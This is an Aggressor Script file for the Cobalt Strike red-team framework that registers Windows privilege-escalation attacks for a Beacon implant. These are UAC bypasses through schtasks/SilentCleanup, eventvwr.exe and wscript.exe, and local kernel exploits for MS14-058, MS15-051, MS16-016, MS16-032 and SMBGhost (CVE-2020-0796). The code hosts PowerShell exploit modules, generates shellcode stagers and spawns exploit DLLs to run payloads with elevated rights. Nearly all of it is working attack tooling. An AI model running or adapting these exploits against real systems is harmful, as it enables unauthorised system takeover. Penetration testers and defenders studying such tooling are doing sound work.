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elevate.cna
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elevate.cna
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#
# Integrate several privilege escalation exploits into Cobalt Strike via Aggressor Script
#
# Integrate schtasks.exe (via SilentCleanup) Bypass UAC attack
# Sourced from Empire: https://github.com/EmpireProject/Empire/tree/master/data/module_source/privesc
sub schtasks_elevator {
local('$handle $script $oneliner $command');
# acknowledge this command
btask($1, "Tasked Beacon to execute $2 in a high integrity context", "T1088");
# read in the script
$handle = openf(getFileProper(script_resource("modules"), "Invoke-EnvBypass.ps1"));
$script = readb($handle, -1);
closef($handle);
# host the script in Beacon
$oneliner = beacon_host_script($1, $script);
# base64 encode the command
$command = transform($2, "powershell-base64");
# run the specified command via this exploit.
bpowerpick!($1, "Invoke-EnvBypass -Command \" $+ $command $+ \"", $oneliner);
}
beacon_elevator_register("uac-schtasks", "Bypass UAC with schtasks.exe (via SilentCleanup)", &schtasks_elevator);
# Integrate schtasks.exe (via SilentCleanup) Bypass UAC attack as an exploit!
# Sourced from Empire: https://github.com/EmpireProject/Empire/tree/master/data/module_source/privesc
sub schtasks_exploit {
local('$handle $script $oneliner $command');
# acknowledge this command
btask($1, "Tasked Beacon to run " . listener_describe($2) . " in a high integrity context", "T1088");
# read in the script
$handle = openf(getFileProper(script_resource("modules"), "Invoke-EnvBypass.ps1"));
$script = readb($handle, -1);
closef($handle);
# host the script in Beacon
$exploit_oneliner = beacon_host_script($1, $script);
# export our payload as a PowerShell script
$payload = artifact_payload($2, "powershell", barch($1));
$payload_oneliner = beacon_host_script($1, $payload);
# format our one-liner into what Invoke-EnvBypass expects
$payload_oneliner = transform($payload_oneliner, "powershell-base64");
# run the specified command via this exploit.
bpowerpick!($1, "Invoke-EnvBypass -Command \" $+ $payload_oneliner $+ \"", $exploit_oneliner);
# link to our payload if it's a TCP or SMB Beacon
beacon_link($1, $null, $2);
}
beacon_exploit_register("uac-schtasks", "Bypass UAC with schtasks.exe (via SilentCleanup)", &schtasks_exploit);
# Integrate Matt Nelson's file-less eventvwr.exe Bypass UAC attack
# Sourced from Empire: https://github.com/EmpireProject/Empire/tree/master/data/module_source/privesc
sub eventvwr_elevator {
local('$handle $script $oneliner');
# acknowledge this command
btask($1, "Tasked Beacon to execute $2 in a high integrity context", "T1088");
# read in the script
$handle = openf(getFileProper(script_resource("modules"), "Invoke-EventVwrBypass.ps1"));
$script = readb($handle, -1);
closef($handle);
# host the script in Beacon
$oneliner = beacon_host_script($1, $script);
# run the specified command via this exploit.
bpowerpick!($1, "Invoke-EventVwrBypass -Command \" $+ $2 $+ \"", $oneliner);
}
beacon_elevator_register("uac-eventvwr", "Bypass UAC with eventvwr.exe", &eventvwr_elevator);
# Integrate wscript.exe Bypass UAC attack
# Sourced from Empire: https://github.com/EmpireProject/Empire/tree/master/data/module_source/privesc
sub wscript_elevator {
local('$handle $script $oneliner');
# acknowledge this command
btask($1, "Tasked Beacon to execute $2 in a high integrity context", "T1088");
# read in the script
$handle = openf(getFileProper(script_resource("modules"), "Invoke-WScriptBypassUAC.ps1"));
$script = readb($handle, -1);
closef($handle);
# host the script in Beacon
$oneliner = beacon_host_script($1, $script);
# run the specified command via this exploit.
bpowerpick!($1, "Invoke-WScriptBypassUAC -payload \" $+ $2 $+ \"", $oneliner);
}
beacon_elevator_register("uac-wscript", "Bypass UAC with wscript.exe", &wscript_elevator);
# Integrate windows/local/ms14_058_track_popup_menu from Metasploit
# https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/ms14_058_track_popup_menu.rb
sub ms14_058_exploit {
local('$stager $arch $dll');
# acknowledge this command
btask($1, "Task Beacon to run " . listener_describe($2) . " via ms14-058", "T1068");
# tune our parameters based on the target arch
if (-is64 $1) {
$arch = "x64";
$dll = getFileProper(script_resource("modules"), "cve-2014-4113.x64.dll");
}
else {
$arch = "x86";
$dll = getFileProper(script_resource("modules"), "cve-2014-4113.x86.dll");
}
# generate our shellcode
$stager = payload_local($1, $2, $arch);
# spawn a Beacon post-ex job with the exploit DLL
bdllspawn!($1, $dll, $stager, "ms14-058", 5000);
# link to our payload if it's a TCP or SMB Beacon
beacon_link($1, $null, $2);
}
beacon_exploit_register("ms14-058", "TrackPopupMenu Win32k NULL Pointer Dereference (CVE-2014-4113)", &ms14_058_exploit);
# Integrate windows/local/ms15_051_client_copy_image from Metasploit
# https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/ms15_051_client_copy_image.rb
sub ms15_051_exploit {
local('$stager $arch $dll');
# acknowledge this command
btask($1, "Task Beacon to run " . listener_describe($2) . " via ms15-051", "T1068");
# tune our parameters based on the target arch
if (-is64 $1) {
$arch = "x64";
$dll = getFileProper(script_resource("modules"), "cve-2015-1701.x64.dll");
}
else {
$arch = "x86";
$dll = getFileProper(script_resource("modules"), "cve-2015-1701.x86.dll");
}
# generate our shellcode
$stager = payload_local($1, $2, $arch);
# spawn a Beacon post-ex job with the exploit DLL
bdllspawn!($1, $dll, $stager, "ms15-051", 5000);
# link to our payload if it's a TCP or SMB Beacon
beacon_link($1, $null, $2);
}
beacon_exploit_register("ms15-051", "Windows ClientCopyImage Win32k Exploit (CVE 2015-1701)", &ms15_051_exploit);
# Integrate windows/local/ms16_016_webdav from Metasploit
# https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/ms16_016_webdav.rb
sub ms16_016_exploit {
local('$stager');
# check if we're on an x64 system and error out.
if (-is64 $1) {
berror($1, "ms16-016 exploit is x86 only");
return;
}
# acknowledge this command
btask($1, "Task Beacon to run " . listener_describe($2) . " via ms16-016", "T1068");
# generate our shellcode
$stager = payload_local($1, $2, "x86");
# spawn a Beacon post-ex job with the exploit DLL
bdllspawn!($1, getFileProper(script_resource("modules"), "cve-2016-0051.x86.dll"), $stager, "ms16-016", 5000);
# link to our payload if it's a TCP or SMB Beacon
beacon_link($1, $null, $2);
}
beacon_exploit_register("ms16-016", "mrxdav.sys WebDav Local Privilege Escalation (CVE 2016-0051)", &ms16_016_exploit);
# Integrate ms16-032
# Sourced from Empire: https://github.com/EmpireProject/Empire/tree/master/data/module_source/privesc
sub ms16_032_elevator {
local('$handle $script $oneliner');
# acknowledge this command
btask($1, "Tasked Beacon to execute $2 via ms16-032", "T1068");
# read in the script
$handle = openf(getFileProper(script_resource("modules"), "Invoke-MS16032.ps1"));
$script = readb($handle, -1);
closef($handle);
# host the script in Beacon
$oneliner = beacon_host_script($1, $script);
# run the specified command via this exploit.
bpowerpick!($1, "Invoke-MS16032 -Command \" $+ $2 $+ \"", $oneliner);
}
beacon_elevator_register("ms16-032", "Secondary Logon Handle Privilege Escalation (CVE-2016-099)", &ms16_032_elevator);
# Integrate windows/local/cve_2020_0796_smbghost from Metasploit
# https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/cve_2020_0796_smbghost.rb
sub cve_2020_0796_exploit {
local('$stager $winbuild');
# check if we're on an x64 system and error out if we're not
if (!-is64 $1) {
berror($1, "cve-2020-0796 exploit is x64 only");
return;
}
# check the windows version
$winbuild = binfo($1, "build");
if ($winbuild != 18362 && $winbuild != 18363) {
berror($1, "This exploit only supports Windows 10 versions 1903 - 1909");
return;
}
# note: this must be 0 or null. exploit will fail if compression is enabled.
# reg queryv x64 HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters DisableCompression
# acknowledge this command
btask($1, "Task Beacon to run " . listener_describe($2) . " via cve-2020-0796", "T1068");
# generate our shellcode. Use 'thread' exit option as this DLL implementation migrates into winlogon.exe
$stager = payload_local($1, $2, "x64", "thread");
# prepend our length to the shellcode
$stager = pack("I-", strlen($stager)) . $stager;
# spawn a Beacon post-ex job with the exploit DLL
bdllspawn!($1, getFileProper(script_resource("modules"), "CVE-2020-0796.x64.dll"), $stager, "cve-2020-0796", 5000);
# link to our payload if it's a TCP or SMB Beacon
beacon_link($1, $null, $2);
}
beacon_exploit_register("cve-2020-0796", "SMBv3 Compression Buffer Overflow (SMBGhost) (CVE 2020-0796)", &cve_2020_0796_exploit);